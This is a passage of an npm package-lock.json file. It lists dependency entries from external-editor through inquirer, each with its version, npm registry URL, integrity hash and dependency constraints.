"sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" }, "node_modules/external-editor": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-2.2.0.tgz", "integrity": "sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==", "dev": true, "dependencies": { "chardet": "^0.4.0", "iconv-lite": "^0.4.17", "tmp": "^0.0.33" }, "engines": { "node": ">=0.12" } }, "node_modules/extract-zip": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", "dev": true, "dependencies": { "debug": "^4.1.1", "get-stream": "^5.1.0", "yauzl": "^2.10.0" }, "bin": { "extract-zip": "cli.js" }, "engines": { "node": ">= 10.17.0" }, "optionalDependencies": { "@types/yauzl": "^2.9.1" } }, "node_modules/extract-zip/node_modules/debug": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", "dev": true, "dependencies": { "ms": "2.1.2" }, "engines": { "node": ">=6.0" }, "peerDependenciesMeta": { "supports-color": { "optional": true } } }, "node_modules/extsprintf": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", "dev": true, "engines": [ "node >=0.6.0" ] }, "node_modules/fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", "dev": true }, "node_modules/fast-glob": { "version": "3.2.11", "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", "dev": true, "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.4" }, "engines": { "node": ">=8.6.0" } }, "node_modules/fast-json-stable-stringify": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", "dev": true }, "node_modules/fast-levenshtein": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", "dev": true }, "node_modules/fast-safe-stringify": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==" }, "node_modules/fastq": { "version": "1.13.0", "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", "dev": true, "dependencies": { "reusify": "^1.0.4" } }, "node_modules/fault": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/fault/-/fault-1.0.4.tgz", "integrity": "sha512-CJ0HCB5tL5fYTEA7ToAq5+kTwd++Borf1/bifxd9iT70QcXr4MRrO3Llf8Ifs70q+SJcGHFtnIE/Nw6giCtECA==", "dependencies": { "format": "^0.2.0" }, "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/fd-slicer": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", "dev": true, "dependencies": { "pend": "~1.2.0" } }, "node_modules/figures": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz", "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==", "dependencies": { "escape-string-regexp": "^1.0.5" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/file-entry-cache": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-2.0.0.tgz", "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=", "dev": true, "dependencies": { "flat-cache": "^1.2.1", "object-assign": "^4.0.1" }, "engines": { "node": ">=0.10.0" } }, "node_modules/fill-range": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", "dev": true, "dependencies": { "to-regex-range": "^5.0.1" }, "engines": { "node": ">=8" } }, "node_modules/find-root": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==", "dev": true }, "node_modules/find-up": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", "dependencies": { "locate-path": "^2.0.0" }, "engines": { "node": ">=4" } }, "node_modules/flat-cache": { "version": "1.3.4", "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-1.3.4.tgz", "integrity": "sha512-VwyB3Lkgacfik2vhqR4uv2rvebqmDvFu4jlN/C1RzWoJEo8I7z4Q404oiqYCkq41mni8EzQnm95emU9seckwtg==", "dev": true, "dependencies": { "circular-json": "^0.3.1", "graceful-fs": "^4.1.2", "rimraf": "~2.6.2", "write": "^0.2.1" }, "engines": { "node": ">=0.10.0" } }, "node_modules/follow-redirects": { "version": "1.15.2", "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz", "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==", "funding": [ { "type": "individual", "url": "https://github.com/sponsors/RubenVerborgh" } ], "engines": { "node": ">=4.0" }, "peerDependenciesMeta": { "debug": { "optional": true } } }, "node_modules/forever-agent": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", "dev": true, "engines": { "node": "*" } }, "node_modules/form-data": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", "dev": true, "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.6", "mime-types": "^2.1.12" }, "engines": { "node": ">= 0.12" } }, "node_modules/format": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/format/-/format-0.2.2.tgz", "integrity": "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww==", "engines": { "node": ">=0.4.x" } }, "node_modules/fs-extra": { "version": "9.1.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", "dev": true, "dependencies": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" }, "engines": { "node": ">=10" } }, "node_modules/fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" }, "node_modules/function-bind": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" }, "node_modules/functional-red-black-tree": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", "dev": true }, "node_modules/get-caller-file": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", "engines": { "node": "6.* || 8.* || >= 10.*" } }, "node_modules/get-intrinsic": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", "dev": true, "dependencies": { "function-bind": "^1.1.1", "has": "^1.0.3", "has-proto": "^1.0.1", "has-symbols": "^1.0.3" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/get-pkg-repo": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/get-pkg-repo/-/get-pkg-repo-4.2.1.tgz", "integrity": "sha512-2+QbHjFRfGB74v/pYWjd5OhU3TDIC2Gv/YKUTk/tCvAz0pkn/Mz6P3uByuBimLOcPvN2jYdScl3xGFSrx0jEcA==", "dependencies": { "@hutson/parse-repository-url": "^3.0.0", "hosted-git-info": "^4.0.0", "through2": "^2.0.0", "yargs": "^16.2.0" }, "bin": { "get-pkg-repo": "src/cli.js" }, "engines": { "node": ">=6.9.0" } }, "node_modules/get-pkg-repo/node_modules/hosted-git-info": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", "dependencies": { "lru-cache": "^6.0.0" }, "engines": { "node": ">=10" } }, "node_modules/get-pkg-repo/node_modules/readable-stream": { "version": "2.3.7", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", "dependencies": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", "isarray": "~1.0.0", "process-nextick-args": "~2.0.0", "safe-buffer": "~5.1.1", "string_decoder": "~1.1.1", "util-deprecate": "~1.0.1" } }, "node_modules/get-pkg-repo/node_modules/safe-buffer": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" }, "node_modules/get-pkg-repo/node_modules/string_decoder": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dependencies": { "safe-buffer": "~5.1.0" } }, "node_modules/get-pkg-repo/node_modules/through2": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", "dependencies": { "readable-stream": "~2.3.6", "xtend": "~4.0.1" } }, "node_modules/get-stdin": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-6.0.0.tgz", "integrity": "sha512-jp4tHawyV7+fkkSKyvjuLZswblUtz+SQKzSWnBbii16BuZksJlU1wuBYXY75r+duh/llF1ur6oNwi+2ZzjKZ7g==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/get-stream": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", "dev": true, "dependencies": { "pump": "^3.0.0" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/getos": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/getos/-/getos-3.2.1.tgz", "integrity": "sha512-U56CfOK17OKgTVqozZjUKNdkfEv6jk5WISBJ8SHoagjE6L69zOwl3Z+O8myjY9MEW3i2HPWQBt/LTbCgcC973Q==", "dev": true, "dependencies": { "async": "^3.2.0" } }, "node_modules/getpass": { "version": "0.1.7", "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", "dev": true, "dependencies": { "assert-plus": "^1.0.0" } }, "node_modules/git-hooks-list": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/git-hooks-list/-/git-hooks-list-1.0.3.tgz", "integrity": "sha512-Y7wLWcrLUXwk2noSka166byGCvhMtDRpgHdzCno1UQv/n/Hegp++a2xBWJL1lJarnKD3SWaljD+0z1ztqxuKyQ==", "dev": true, "funding": { "url": "https://github.com/fisker/git-hooks-list?sponsor=1" } }, "node_modules/git-raw-commits": { "version": "2.0.11", "resolved": "https://registry.npmjs.org/git-raw-commits/-/git-raw-commits-2.0.11.tgz", "integrity": "sha512-VnctFhw+xfj8Va1xtfEqCUD2XDrbAPSJx+hSrE5K7fGdjZruW7XV+QOrN7LF/RJyvspRiD2I0asWsxFp0ya26A==", "dependencies": { "dargs": "^7.0.0", "lodash": "^4.17.15", "meow": "^8.0.0", "split2": "^3.0.0", "through2": "^4.0.0" }, "bin": { "git-raw-commits": "cli.js" }, "engines": { "node": ">=10" } }, "node_modules/git-remote-origin-url": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/git-remote-origin-url/-/git-remote-origin-url-2.0.0.tgz", "integrity": "sha512-eU+GGrZgccNJcsDH5LkXR3PB9M958hxc7sbA8DFJjrv9j4L2P/eZfKhM+QD6wyzpiv+b1BpK0XrYCxkovtjSLw==", "dependencies": { "gitconfiglocal": "^1.0.0", "pify": "^2.3.0" }, "engines": { "node": ">=4" } }, "node_modules/git-semver-tags": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/git-semver-tags/-/git-semver-tags-4.1.1.tgz", "integrity": "sha512-OWyMt5zBe7xFs8vglMmhM9lRQzCWL3WjHtxNNfJTMngGym7pC1kh8sP6jevfydJ6LP3ZvGxfb6ABYgPUM0mtsA==", "dependencies": { "meow": "^8.0.0", "semver": "^6.0.0" }, "bin": { "git-semver-tags": "cli.js" }, "engines": { "node": ">=10" } }, "node_modules/git-semver-tags/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "bin": { "semver": "bin/semver.js" } }, "node_modules/gitconfiglocal": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/gitconfiglocal/-/gitconfiglocal-1.0.0.tgz", "integrity": "sha512-spLUXeTAVHxDtKsJc8FkFVgFtMdEN9qPGpL23VfSHx4fP4+Ds097IXLvymbnDH8FnmxX5Nr9bPw3A+AQ6mWEaQ==", "dependencies": { "ini": "^1.3.2" } }, "node_modules/gitconfiglocal/node_modules/ini": { "version": "1.3.8", "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" }, "node_modules/glob": { "version": "7.1.6", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.0.4", "once": "^1.3.0", "path-is-absolute": "^1.0.0" }, "engines": { "node": "*" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, "node_modules/glob-parent": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", "dev": true, "dependencies": { "is-glob": "^4.0.1" }, "engines": { "node": ">= 6" } }, "node_modules/global-dirs": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-3.0.0.tgz", "integrity": "sha512-v8ho2DS5RiCjftj1nD9NmnfaOzTdud7RRnVd9kFNOjqZbISlx5DQ+OrTkywgd0dIt7oFCvKetZSHoHcP3sDdiA==", "dev": true, "dependencies": { "ini": "2.0.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/globals": { "version": "11.11.0", "resolved": "https://registry.npmjs.org/globals/-/globals-11.11.0.tgz", "integrity": "sha512-WHq43gS+6ufNOEqlrDBxVEbb8ntfXrfAUU2ZOpCxrBdGKW3gyv8mCxAfIBD0DroPKGrJ2eSsXsLtY9MPntsyTw==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/globby": { "version": "10.0.0", "resolved": "https://registry.npmjs.org/globby/-/globby-10.0.0.tgz", "integrity": "sha512-3LifW9M4joGZasyYPz2A1U74zbC/45fvpXUvO/9KbSa+VV0aGZarWkfdgKyR9sExNP0t0x0ss/UMJpNpcaTspw==", "dev": true, "dependencies": { "@types/glob": "^7.1.1", "array-union": "^2.1.0", "dir-glob": "^3.0.1", "fast-glob": "^3.0.3", "glob": "^7.1.3", "ignore": "^5.1.1", "merge2": "^1.2.3", "slash": "^3.0.0" }, "engines": { "node": ">=8" } }, "node_modules/globby/node_modules/ignore": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", "dev": true, "engines": { "node": ">= 4" } }, "node_modules/graceful-fs": { "version": "4.2.6", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.6.tgz", "integrity": "sha512-nTnJ528pbqxYanhpDYsi4Rd8MAeaBA67+RZ10CM1m3bTAVFEDcd5AuA4a6W5YkGZ1iNXHzZz8T6TBKLeBuNriQ==" }, "node_modules/handlebars": { "version": "4.7.7", "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.7.7.tgz", "integrity": "sha512-aAcXm5OAfE/8IXkcZvCepKU3VzW1/39Fb5ZuqMtgI/hT8X2YgoMvBY5dLhq/cpOvw7Lk1nK/UF71aLG/ZnVYRA==", "dependencies": { "minimist": "^1.2.5", "neo-async": "^2.6.0", "source-map": "^0.6.1", "wordwrap": "^1.0.0" }, "bin": { "handlebars": "bin/handlebars" }, "engines": { "node": ">=0.4.7" }, "optionalDependencies": { "uglify-js": "^3.1.4" } }, "node_modules/hard-rejection": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/hard-rejection/-/hard-rejection-2.1.0.tgz", "integrity": "sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==", "engines": { "node": ">=6" } }, "node_modules/has": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", "dependencies": { "function-bind": "^1.1.1" }, "engines": { "node": ">= 0.4.0" } }, "node_modules/has-ansi": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", "dev": true, "dependencies": { "ansi-regex": "^2.0.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/has-flag": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "engines": { "node": ">=4" } }, "node_modules/has-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", "dev": true, "engines": { "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/has-symbols": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", "dev": true, "engines": { "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/hosted-git-info": { "version": "2.8.9", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==" }, "node_modules/htmlparser2": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.2.0.tgz", "integrity": "sha512-H7MImA4MS6cw7nbyURtLPO1Tms7C5H602LRETv95z1MxO/7CP7rDVROehUYeYBUYEON94NXXDEPmZuq+hX4sog==", "funding": [ "https://github.com/fb55/htmlparser2?sponsor=1", { "type": "github", "url": "https://github.com/sponsors/fb55" } ], "dependencies": { "domelementtype": "^2.0.1", "domhandler": "^4.2.2", "domutils": "^2.8.0", "entities": "^3.0.1" } }, "node_modules/human-signals": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-1.1.1.tgz", "integrity": "sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==", "dev": true, "engines": { "node": ">=8.12.0" } }, "node_modules/iconv-lite": { "version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", "dependencies": { "safer-buffer": ">= 2.1.2 < 3" }, "engines": { "node": ">=0.10.0" } }, "node_modules/ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", "funding": [ { "type": "github", "url": "https://github.com/sponsors/feross" }, { "type": "patreon", "url": "https://www.patreon.com/feross" }, { "type": "consulting", "url": "https://feross.org/support" } ] }, "node_modules/ignore": { "version": "4.0.6", "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", "dev": true, "engines": { "node": ">= 4" } }, "node_modules/imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", "dev": true, "engines": { "node": ">=0.8.19" } }, "node_modules/indent-string": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", "engines": { "node": ">=8" } }, "node_modules/inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", "dependencies": { "once": "^1.3.0", "wrappy": "1" } }, "node_modules/inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" }, "node_modules/ini": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ini/-/ini-2.0.0.tgz", "integrity": "sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA==", "dev": true, "engines": { "node": ">=10" } }, "node_modules/inquirer": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-5.2.0.tgz", "integrity": "sha512-E9BmnJbAKLPGonz0HeWHtbKf+EeSP93paWO3ZYoUpq/aowXvYGjjCSuashhXPpzbArIjBbji39THkxTz9ZeEUQ==", "dev": true, "dependencies": { "ansi-escapes": "^3.0.0", "chalk": "^2.0.0", "cli-cursor": "^2.1.0", "cli-width": "^2.0.0", "external-editor": "^2.1.0", "figures": "^2.0.0", "lodash": "^4.3.0", "mute-stream": "0.0.7", "run-async": "^2.2.0", "rxjs": "^5.5.2", "string-width": "^2.1.0", "strip-ansi": "^4.0.0", "through": "^2.3.6" }, "engines": { "node": ">=6.0.0" } }, "node_modules/inquirer/node_modules/ansi-regex": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz", "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/inquirer/node_modules/cli-cursor": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", "dev": true, "dependencies": { "restore-cursor": "^2.0.0" }, "engines": { "node": ">=4" } }, "node_modules/inquirer/node_modules/figures": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", "dev": true, "dependencies": { "escape-string-regexp": "^1.0.5" }, "engines": { "node": ">=4" } }, "node_modules/inquirer/node_modules/is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", "dev": true, "engines": { "node": ">=4" } }, "node_modules/inquirer/node_modules/onetime": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", "dev": true, "dependencies": { "mimic-fn": 